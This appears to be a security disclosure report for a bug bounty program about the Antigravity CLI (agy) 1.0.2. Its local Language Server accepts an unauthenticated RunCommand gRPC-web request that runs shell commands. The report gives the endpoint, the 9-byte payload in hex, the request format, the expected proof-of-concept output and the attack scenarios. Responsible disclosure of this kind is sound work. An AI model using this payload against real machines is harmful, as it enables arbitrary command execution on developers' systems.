Antigravity CLI (agy) 1.0.2 — Unauthenticated Local Language Server RunCommand

Summary. When agy 1.0.2 runs, it starts a Language Server that listens on a random 127.0.0.1 port for gRPC. A single 9-byte gRPC-web POST to /exa.language_server_pb.LanguageServerService/RunCommand executes an arbitrary shell command as the developer user. No x-codeium-csrf-token, no Authorization, no Cookie. The Antigravity Desktop 2.0.1 build of the same Language Server did require x-codeium-csrf-token — the CLI 1.0.2 build does not. This is a regression.

How to reproduce

On a Mac running agy 1.0.2 (logged in via keychain), download the script below and run it.

Download run_unauth_runcommand_poc.sh

bash run_unauth_runcommand_poc.sh

Expected last lines:

HTTP/2 200
content-type: application/grpc-web+proto
uid=501(REDACTED-USER) gid=20(staff) groups=20(staff),12(everyone),...
grpc-status: 0

MARKER: AGY_UNAUTH_RUNCOMMAND_FIRED

What the request looks like

The payload is 9 bytes. Hex: 00 00 00 00 04 0a 02 69 64.

The request:

POST https://127.0.0.1:<port>/exa.language_server_pb.LanguageServerService/RunCommand
Content-Type: application/grpc-web+proto
[9 bytes binary body]

Attack scenario

The attacker is any process running under the same user account as agy. The attack does not require shell, subprocess, or fork capability — pure Python stdlib (os, re, glob, struct, ssl, http.client) is sufficient. See non-shell-attacker.py (final log line: RESULT: ATTACK SUCCEEDED).

Cross-origin reachability

The LS reflects Access-Control-Allow-Origin for these origins only:

OriginPreflight
http(s)://localhost(:port)?ACAO reflected
http://127.0.0.1(:port)?ACAO reflected
http://[::1](:port)?ACAO reflected
Any other origin (incl. https://attacker.example.com, null, http://localhost.attacker.com)No ACAO returned — browser blocks fetch

The server also requires a gRPC-specific Content-Type (returns 415 for text/plain / application/x-www-form-urlencoded), so the CORS "simple-request" bypass does not apply. A page on an arbitrary public origin cannot directly fetch the LS. The browser-reachable attack surface requires the attacker to control content served from a localhost origin (e.g. XSS in a local dev server, or HTML served by a locally-installed application).

Files


Submitted to Google Bug Hunters / VRP. All sensitive identifiers redacted from evidence.